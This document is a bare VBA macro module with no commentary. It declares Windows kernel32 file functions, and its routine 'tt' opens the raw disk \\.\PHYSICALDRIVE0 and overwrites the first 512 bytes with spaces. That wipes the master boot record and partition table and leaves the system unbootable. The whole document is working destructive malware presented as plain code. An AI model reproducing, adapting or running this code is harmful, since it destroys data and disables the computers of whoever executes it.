Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, ByVal lpBuffer As String, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Sub tt()
 Dim buf As String
 Dim temp As Long
 Dim f As Long
 buf = String(512, " ")
 temp = 0
 
 f = CreateFile("\\.\PHYSICALDRIVE0", &HC0000000, 3, 0, 3, 0, 0)
 Call WriteFile(f, buf, 512, temp, 0)
 Call CloseHandle(f)
End Sub